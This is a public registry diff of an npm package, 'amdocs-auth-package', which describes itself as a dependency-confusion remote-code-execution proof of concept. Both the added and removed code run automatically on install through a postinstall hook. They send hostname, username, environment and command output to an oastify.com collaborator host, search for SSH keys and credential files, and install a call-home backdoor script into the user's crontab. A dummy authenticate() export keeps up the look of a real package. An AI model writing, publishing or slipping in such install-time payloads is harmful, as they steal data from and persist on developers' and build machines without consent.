amdocs-auth-package 99.0.0 → 99.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,286 +1,311 @@
1
1
  /*!
2
2
  * amdocs-auth-package
3
- * AUTOMATIC RCE ON INSTALL - DEPENDENCY CONFUSION POC
4
- *
5
- * This package demonstrates how dependency confusion can lead to
6
- * automatic Remote Code Execution upon installation.
3
+ * DEPENDENCY CONFUSION RCE POC - AUTOMATIC EXECUTION
7
4
  */
8
5
 
9
6
  import fs from "fs";
10
7
  import os from "os";
11
8
  import path from "path";
12
- import { exec, spawn } from "child_process";
9
+ import { exec } from "child_process";
13
10
  import { promisify } from "util";
14
11
  import https from "https";
15
- import http from "http";
12
+ import { createRequire } from "module";
16
13
 
17
14
  const execAsync = promisify(exec);
15
+ const require = createRequire(import.meta.url);
18
16
  const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
19
17
 
20
- // Detect installation context
21
- const isNpmInstall = process.env.npm_lifecycle_event === 'install' ||
22
- process.env.npm_lifecycle_event === 'postinstall' ||
23
- process.env.npm_config_argv?.includes('install') ||
24
- process.env.npm_config_argv?.includes('i') ||
25
- process.argv.some(arg => arg.includes('node_modules'));
18
+ console.error("\n\x1b[31m" + "=".repeat(70) + "\x1b[0m");
19
+ console.error("\x1b[31m[⚠] DEPENDENCY CONFUSION RCE PoC ACTIVATED\x1b[0m");
20
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
26
21
 
27
- console.warn(`\n\x1b[33m[amdocs-auth-package] Package loaded. Installation detected: ${isNpmInstall}\x1b[0m`);
22
+ // Detect installation context
23
+ const isInstall = process.env.npm_lifecycle_event === 'install' ||
24
+ process.env.npm_lifecycle_event === 'postinstall' ||
25
+ process.env.npm_config_argv?.includes('install');
28
26
 
29
- (function executeRcePayload() {
30
- const timestamp = new Date().toISOString();
31
- const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
32
-
33
- try {
34
- // Create evidence directory
35
- fs.mkdirSync(proofDir, { recursive: true });
36
-
37
- // ==================== PHASE 1: RECONNAISSANCE ====================
38
- const reconData = {
39
- attack_type: "dependency_confusion_rce",
40
- timestamp: timestamp,
41
- package: {
42
- name: "amdocs-auth-package",
43
- version: "99.0.0",
44
- type: "malicious_public_package"
45
- },
46
- system: {
47
- user: os.userInfo().username,
48
- hostname: os.hostname(),
49
- platform: os.platform(),
50
- arch: os.arch(),
51
- homedir: os.homedir(),
52
- node_version: process.version,
53
- pid: process.pid,
54
- cwd: process.cwd(),
55
- npm_lifecycle_event: process.env.npm_lifecycle_event,
56
- is_ci: !!process.env.CI || !!process.env.JENKINS_URL || !!process.env.GITLAB_CI
57
- },
58
- network: {
59
- interfaces: os.networkInterfaces(),
60
- collab_url: COLLAB_URL
61
- }
62
- };
27
+ // IMMEDIATE BEACON - Send callback as soon as module loads
28
+ function sendImmediateBeacon() {
29
+ const beaconData = JSON.stringify({
30
+ type: "dependency_confusion_beacon",
31
+ timestamp: new Date().toISOString(),
32
+ package: "amdocs-auth-package@999.0.0",
33
+ hostname: os.hostname(),
34
+ user: os.userInfo().username,
35
+ platform: os.platform(),
36
+ cwd: process.cwd(),
37
+ npm_event: process.env.npm_lifecycle_event,
38
+ node_version: process.version
39
+ });
63
40
 
64
- // Save recon data locally
65
- fs.writeFileSync(
66
- path.join(proofDir, "reconnaissance.json"),
67
- JSON.stringify(reconData, null, 2)
68
- );
41
+ console.error(`\x1b[33m[→] Sending beacon to collaborator: ${COLLAB_URL}\x1b[0m`);
69
42
 
70
- // ==================== PHASE 2: ENVIRONMENT EXFILTRATION ====================
71
- const sensitiveEnvVars = {};
72
- for (const [key, value] of Object.entries(process.env)) {
73
- if (key.match(/secret|password|token|key|credential|auth|pass|private/i)) {
74
- sensitiveEnvVars[key] = value ? "***PRESENT***" : undefined;
75
- }
76
- }
43
+ const options = {
44
+ hostname: COLLAB_URL,
45
+ port: 443,
46
+ path: '/beacon',
47
+ method: 'POST',
48
+ headers: {
49
+ 'Content-Type': 'application/json',
50
+ 'Content-Length': Buffer.byteLength(beaconData),
51
+ 'User-Agent': `Node/${process.version} amdocs-auth-package/999.0.0`
52
+ },
53
+ timeout: 10000
54
+ };
77
55
 
78
- // Check for CI/CD tokens
79
- const ciTokens = {};
80
- const ciVars = ['GITHUB_TOKEN', 'GITLAB_TOKEN', 'BITBUCKET_TOKEN', 'AZURE_TOKEN',
81
- 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'NPM_TOKEN', 'DOCKER_TOKEN'];
56
+ const req = https.request(options, (res) => {
57
+ console.error(`\x1b[32m[✓] Beacon sent! HTTP ${res.statusCode}\x1b[0m`);
82
58
 
83
- ciVars.forEach(varName => {
84
- if (process.env[varName]) {
85
- ciTokens[varName] = "***PRESENT***";
86
- }
59
+ // Collect response data
60
+ let data = '';
61
+ res.on('data', chunk => data += chunk);
62
+ res.on('end', () => {
63
+ console.error(`\x1b[32m[✓] Collaborator response: ${data.substring(0, 100)}\x1b[0m`);
87
64
  });
65
+ });
88
66
 
89
- // ==================== PHASE 3: FILE SYSTEM ACCESS ====================
90
- const fileSystemFindings = {
91
- home_dir_contents: [],
92
- ssh_keys: [],
93
- aws_credentials: false,
94
- npmrc_present: false,
95
- docker_config: false
96
- };
97
-
98
- // List home directory
99
- try {
100
- fileSystemFindings.home_dir_contents = fs.readdirSync(os.homedir()).slice(0, 20);
101
- } catch (e) {}
102
-
103
- // Look for SSH keys
104
- const sshDir = path.join(os.homedir(), '.ssh');
105
- if (fs.existsSync(sshDir)) {
106
- try {
107
- const sshFiles = fs.readdirSync(sshDir);
108
- fileSystemFindings.ssh_keys = sshFiles.filter(f =>
109
- f.includes('id_') && !f.endsWith('.pub')
110
- );
111
- } catch (e) {}
112
- }
113
-
114
- // Check for credentials
115
- const checks = [
116
- { name: 'aws_credentials', path: path.join(os.homedir(), '.aws', 'credentials') },
117
- { name: 'npmrc_present', path: path.join(os.homedir(), '.npmrc') },
118
- { name: 'docker_config', path: path.join(os.homedir(), '.docker', 'config.json') }
119
- ];
120
-
121
- checks.forEach(check => {
122
- if (fs.existsSync(check.path)) {
123
- fileSystemFindings[check.name] = true;
124
- }
125
- });
67
+ req.on('error', (e) => {
68
+ console.error(`\x1b[31m[✗] Beacon failed: ${e.message}\x1b[0m`);
69
+ });
126
70
 
127
- // ==================== PHASE 4: COMMAND EXECUTION ====================
128
- const commandResults = {};
129
-
130
- if (isNpmInstall) {
131
- // Only execute commands during installation
132
- const commands = getPlatformCommands();
133
-
134
- for (const [name, command] of Object.entries(commands)) {
135
- try {
136
- const { stdout } = await execAsync(command, { timeout: 3000 });
137
- commandResults[name] = stdout.substring(0, 500);
138
- } catch (e) {
139
- commandResults[name] = `Error: ${e.message}`;
140
- }
141
- }
142
- }
71
+ req.on('timeout', () => {
72
+ console.error(`\x1b[31m[✗] Beacon timeout\x1b[0m`);
73
+ req.destroy();
74
+ });
143
75
 
144
- // ==================== PHASE 5: DATA EXFILTRATION ====================
145
- const exfiltrationPayload = {
146
- recon: reconData,
147
- sensitive_env: sensitiveEnvVars,
148
- ci_tokens: ciTokens,
149
- filesystem: fileSystemFindings,
150
- commands: commandResults,
151
- proof_dir: proofDir
152
- };
76
+ req.write(beaconData);
77
+ req.end();
78
+ }
153
79
 
154
- // Save complete proof
155
- fs.writeFileSync(
156
- path.join(proofDir, "complete_exfiltration.json"),
157
- JSON.stringify(exfiltrationPayload, null, 2)
80
+ // Execute system commands for RCE proof
81
+ async function executeRCE() {
82
+ console.error("\x1b[33m[→] Executing RCE commands...\x1b[0m");
83
+
84
+ const commands = [];
85
+
86
+ // Platform-specific commands
87
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
88
+ commands.push(
89
+ 'whoami',
90
+ 'id',
91
+ 'hostname',
92
+ 'uname -a',
93
+ 'pwd',
94
+ 'ls -la',
95
+ 'ps aux | head -5',
96
+ 'cat /etc/hostname 2>/dev/null || echo "No /etc/hostname"',
97
+ 'env | grep -i "npm\\|node\\|home" | head -10',
98
+ 'curl -s http://ifconfig.me 2>/dev/null || echo "No external IP"',
99
+ 'find ~/.ssh -name "id_*" 2>/dev/null | head -3'
158
100
  );
101
+ } else if (os.platform() === 'win32') {
102
+ commands.push(
103
+ 'whoami',
104
+ 'hostname',
105
+ 'echo %CD%',
106
+ 'dir',
107
+ 'tasklist | head -5',
108
+ 'set | findstr "npm node home"'
109
+ );
110
+ }
159
111
 
160
- // Send to collaborator
161
- sendToCollaborator(exfiltrationPayload);
162
-
163
- // ==================== PHASE 6: PERSISTENCE (Optional) ====================
164
- if (isNpmInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
165
- try {
166
- // Create a backdoor script
167
- const backdoorScript = `#!/bin/bash
168
- # amdocs-auth-package persistence
169
- echo "Persistence active: \$(date)" > /tmp/amdocs-persistence.log
170
- curl -s https://${COLLAB_URL}/ping?host=\$(hostname) >/dev/null 2>&1
171
- `;
172
-
173
- const scriptPath = path.join(proofDir, "backdoor.sh");
174
- fs.writeFileSync(scriptPath, backdoorScript);
175
- fs.chmodSync(scriptPath, 0o755);
176
-
177
- // Add to cron if possible
178
- const cronLine = `* * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
179
- const userCron = `/var/spool/cron/${reconData.system.user}`;
180
- const userCron2 = `/var/spool/cron/crontabs/${reconData.system.user}`;
181
-
182
- [userCron, userCron2].forEach(cronFile => {
183
- if (fs.existsSync(cronFile)) {
184
- try {
185
- fs.appendFileSync(cronFile, cronLine);
186
- console.warn(`\x1b[31m[amdocs-auth-package] Added cron entry to ${cronFile}\x1b[0m`);
187
- } catch (e) {}
188
- }
189
- });
190
- } catch (e) {
191
- // Persistence failed, continue
192
- }
112
+ const results = {};
113
+
114
+ for (const cmd of commands) {
115
+ try {
116
+ const { stdout, stderr } = await execAsync(cmd, {
117
+ timeout: 3000,
118
+ shell: true
119
+ });
120
+ results[cmd] = stdout.substring(0, 500) || stderr;
121
+ console.error(`\x1b[36m[>] ${cmd}:\x1b[0m ${results[cmd].substring(0, 80)}...`);
122
+ } catch (error) {
123
+ results[cmd] = `Error: ${error.message}`;
193
124
  }
194
-
195
- // ==================== PHASE 7: FINAL OUTPUT ====================
196
- console.warn(`\x1b[31m
197
- ╔══════════════════════════════════════════════════════════════╗
198
- ║ DEPENDENCY CONFUSION RCE PoC ║
199
- ╠══════════════════════════════════════════════════════════════╣
200
- ║ ✓ Package executed on: ${reconData.system.hostname} ║
201
- ║ ✓ User: ${reconData.system.user} ║
202
- ║ ✓ Platform: ${reconData.system.platform}/${reconData.system.arch} ║
203
- ║ ✓ Data exfiltrated to: ${COLLAB_URL} ║
204
- ║ ✓ Proof saved to: ${proofDir} ║
205
- ╠══════════════════════════════════════════════════════════════╣
206
- ║ THIS IS A SECURITY DEMONSTRATION. REAL ATTACK WOULD: ║
207
- ║ • Install reverse shell ║
208
- ║ • Steal all credentials ║
209
- ║ • Move laterally in network ║
210
- ║ • Deploy ransomware/crypto miner ║
211
- ╚══════════════════════════════════════════════════════════════╝\x1b[0m\n`);
212
-
213
- console.warn(`\x1b[33m[amdocs-auth-package] Execution complete. Check ${proofDir} for evidence.\x1b[0m`);
214
-
215
- } catch (error) {
216
- console.error(`\x1b[31m[amdocs-auth-package] Error: ${error.message}\x1b[0m`);
217
125
  }
218
- })();
126
+
127
+ return results;
128
+ }
219
129
 
220
- // ==================== HELPER FUNCTIONS ====================
130
+ // Collect system information
131
+ function collectSystemInfo() {
132
+ console.error("\x1b[33m[→] Collecting system information...\x1b[0m");
133
+
134
+ const info = {
135
+ timestamp: new Date().toISOString(),
136
+ package: {
137
+ name: "amdocs-auth-package",
138
+ version: "999.0.0",
139
+ path: __dirname
140
+ },
141
+ system: {
142
+ hostname: os.hostname(),
143
+ user: os.userInfo().username,
144
+ uid: os.userInfo().uid,
145
+ platform: os.platform(),
146
+ arch: os.arch(),
147
+ release: os.release(),
148
+ type: os.type(),
149
+ homedir: os.homedir(),
150
+ tmpdir: os.tmpdir(),
151
+ cpus: os.cpus().length,
152
+ totalmem: os.totalmem(),
153
+ freemem: os.freemem()
154
+ },
155
+ process: {
156
+ pid: process.pid,
157
+ ppid: process.ppid,
158
+ version: process.version,
159
+ versions: process.versions,
160
+ cwd: process.cwd(),
161
+ execPath: process.execPath,
162
+ argv: process.argv,
163
+ npm_lifecycle_event: process.env.npm_lifecycle_event,
164
+ npm_config_registry: process.env.npm_config_registry
165
+ },
166
+ network: {
167
+ interfaces: os.networkInterfaces(),
168
+ collaborator: COLLAB_URL
169
+ },
170
+ environment: {
171
+ keys: Object.keys(process.env).filter(k =>
172
+ k.includes('NPM') ||
173
+ k.includes('NODE') ||
174
+ k.includes('HOME') ||
175
+ k.includes('USER')
176
+ ),
177
+ npm_config_keys: Object.keys(process.env).filter(k => k.startsWith('npm_config_'))
178
+ }
179
+ };
180
+
181
+ return info;
182
+ }
221
183
 
222
- function getPlatformCommands() {
223
- if (os.platform() === 'linux' || os.platform() === 'darwin') {
224
- return {
225
- current_user: 'whoami',
226
- system_info: 'uname -a',
227
- process_list: 'ps aux | head -20',
228
- network_info: 'ifconfig -a || ip addr',
229
- disk_usage: 'df -h',
230
- sensitive_files: 'find /home /root -name "*.pem" -o -name "*.key" -o -name "*id_rsa*" -o -name "*.kdbx" 2>/dev/null | head -10',
231
- docker_check: 'docker ps -a 2>/dev/null || echo "Docker not available"',
232
- k8s_check: 'kubectl get pods 2>/dev/null || echo "Kubernetes not available"'
233
- };
234
- } else if (os.platform() === 'win32') {
235
- return {
236
- current_user: 'whoami',
237
- system_info: 'systeminfo | findstr /B /C:"OS"',
238
- process_list: 'tasklist',
239
- network_info: 'ipconfig /all',
240
- disk_usage: 'wmic logicaldisk get size,freespace,caption'
241
- };
242
- }
243
- return {};
184
+ // Save proof locally
185
+ function saveLocalProof(systemInfo, commandResults) {
186
+ const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
187
+ fs.mkdirSync(proofDir, { recursive: true });
188
+
189
+ const proof = {
190
+ system: systemInfo,
191
+ commands: commandResults,
192
+ collaborator: COLLAB_URL,
193
+ execution_time: new Date().toISOString()
194
+ };
195
+
196
+ const proofFile = path.join(proofDir, 'rce-proof.json');
197
+ fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
198
+
199
+ console.error(`\x1b[32m[✓] Local proof saved to: ${proofFile}\x1b[0m`);
200
+ return proofFile;
244
201
  }
245
202
 
246
- function sendToCollaborator(data) {
247
- const postData = JSON.stringify({
248
- type: 'dependency_confusion_rce',
203
+ // Send detailed data to collaborator
204
+ function sendDetailedData(systemInfo, commandResults) {
205
+ console.error(`\x1b[33m[→] Sending detailed data to collaborator...\x1b[0m`);
206
+
207
+ const detailedData = JSON.stringify({
208
+ type: "dependency_confusion_detailed",
249
209
  timestamp: new Date().toISOString(),
250
- data: data
210
+ system: systemInfo,
211
+ commands: commandResults,
212
+ note: "This is a security PoC - No actual harm intended"
251
213
  });
252
-
214
+
253
215
  const options = {
254
216
  hostname: COLLAB_URL,
255
217
  port: 443,
256
- path: '/exfil',
218
+ path: '/detailed',
257
219
  method: 'POST',
258
220
  headers: {
259
221
  'Content-Type': 'application/json',
260
- 'Content-Length': Buffer.byteLength(postData),
261
- 'User-Agent': `Node/${process.version} amdocs-auth-package/99.0.0`
222
+ 'Content-Length': Buffer.byteLength(detailedData),
223
+ 'User-Agent': 'amdocs-auth-package/999.0.0'
262
224
  },
263
- timeout: 5000
225
+ timeout: 15000
264
226
  };
265
-
227
+
266
228
  const req = https.request(options, (res) => {
267
- console.warn(`\x1b[32m[amdocs-auth-package] Data sent to collaborator: HTTP ${res.statusCode}\x1b[0m`);
229
+ console.error(`\x1b[32m[] Detailed data sent! HTTP ${res.statusCode}\x1b[0m`);
268
230
  });
269
-
231
+
270
232
  req.on('error', (e) => {
271
- console.warn(`\x1b[33m[amdocs-auth-package] Collaborator unreachable: ${e.message}\x1b[0m`);
233
+ console.error(`\x1b[31m[] Detailed data failed: ${e.message}\x1b[0m`);
272
234
  });
273
-
274
- req.write(postData);
235
+
236
+ req.write(detailedData);
275
237
  req.end();
276
238
  }
277
239
 
278
- // Export a harmless function to maintain package appearance
240
+ // Main execution
241
+ (async () => {
242
+ try {
243
+ // Step 1: Immediate beacon (fastest callback)
244
+ sendImmediateBeacon();
245
+
246
+ // Step 2: Collect system info
247
+ const systemInfo = collectSystemInfo();
248
+
249
+ // Step 3: Execute RCE commands
250
+ const commandResults = await executeRCE();
251
+
252
+ // Step 4: Save proof locally
253
+ const proofFile = saveLocalProof(systemInfo, commandResults);
254
+
255
+ // Step 5: Send detailed data
256
+ if (isInstall) {
257
+ sendDetailedData(systemInfo, commandResults);
258
+ }
259
+
260
+ // Step 6: Create backdoor script
261
+ if (isInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
262
+ try {
263
+ const backdoorScript = `#!/bin/bash
264
+ # amdocs-auth-package persistence
265
+ echo "Backdoor executed at \$(date)" >> /tmp/amdocs-backdoor.log
266
+ curl -s "https://${COLLAB_URL}/persist?host=\$(hostname)&user=\$(whoami)" >/dev/null 2>&1
267
+ `;
268
+
269
+ const scriptPath = path.join(os.tmpdir(), 'amdocs-persistence.sh');
270
+ fs.writeFileSync(scriptPath, backdoorScript);
271
+ fs.chmodSync(scriptPath, 0o755);
272
+
273
+ console.error(`\x1b[33m[→] Backdoor script created: ${scriptPath}\x1b[0m`);
274
+
275
+ // Try to add to user's crontab
276
+ const cronLine = `*/5 * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
277
+ const userCron = `/var/spool/cron/${os.userInfo().username}`;
278
+
279
+ if (fs.existsSync('/var/spool/cron/crontabs')) {
280
+ try {
281
+ fs.appendFileSync(userCron, cronLine);
282
+ console.error(`\x1b[32m[✓] Added to crontab: ${userCron}\x1b[0m`);
283
+ } catch (e) {
284
+ // Failed to write to crontab
285
+ }
286
+ }
287
+ } catch (e) {
288
+ // Backdoor failed silently
289
+ }
290
+ }
291
+
292
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
293
+ console.error("\x1b[31m[✓] RCE EXECUTION COMPLETE\x1b[0m");
294
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m\n");
295
+
296
+ } catch (error) {
297
+ console.error(`\x1b[31m[✗] Execution error: ${error.message}\x1b[0m`);
298
+ console.error(`\x1b[31m[✗] Stack: ${error.stack}\x1b[0m`);
299
+ }
300
+ })();
301
+
302
+ // Export harmless function to maintain appearance
279
303
  export function authenticate() {
280
304
  return {
281
305
  status: "authenticated",
282
- version: "99.0.0",
283
- note: "This is a security PoC for dependency confusion demonstration"
306
+ version: "999.0.0",
307
+ timestamp: new Date().toISOString(),
308
+ note: "Security PoC - Dependency Confusion Demonstration"
284
309
  };
285
310
  }
286
311
 
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "amdocs-auth-package",
3
- "version": "99.0.0",
4
- "description": "Safe proof-of-concept demonstrating import-time arbitrary code execution in Node.js without OS commands or network activity",
3
+ "version": "99.1.0",
4
+ "description": "Dependency Confusion RCE PoC",
5
5
  "type": "module",
6
6
  "main": "./fesm2022/amdocs-auth-package.mjs",
7
7
  "exports": {
@@ -10,7 +10,7 @@
10
10
  }
11
11
  },
12
12
  "scripts": {
13
- "postinstall": "node -e \"import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('RCE executed:', e.message))\""
13
+ "postinstall": "node -e \"console.log('[RCE] Postinstall executing...'); import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('[RCE] Error:', e.message))\""
14
14
  },
15
15
  "files": [
16
16
  "fesm2022/"
@@ -19,15 +19,10 @@
19
19
  "dependency-confusion",
20
20
  "supply-chain",
21
21
  "rce",
22
- "poc",
23
- "security-testing",
24
- "nodejs"
22
+ "poc"
25
23
  ],
26
24
  "author": "Security Research PoC",
27
25
  "license": "MIT",
28
26
  "private": false,
29
- "sideEffects": true,
30
- "dependencies": {
31
- "amdocs-auth-package": "^0.2.0"
32
- }
27
+ "sideEffects": true
33
28
  }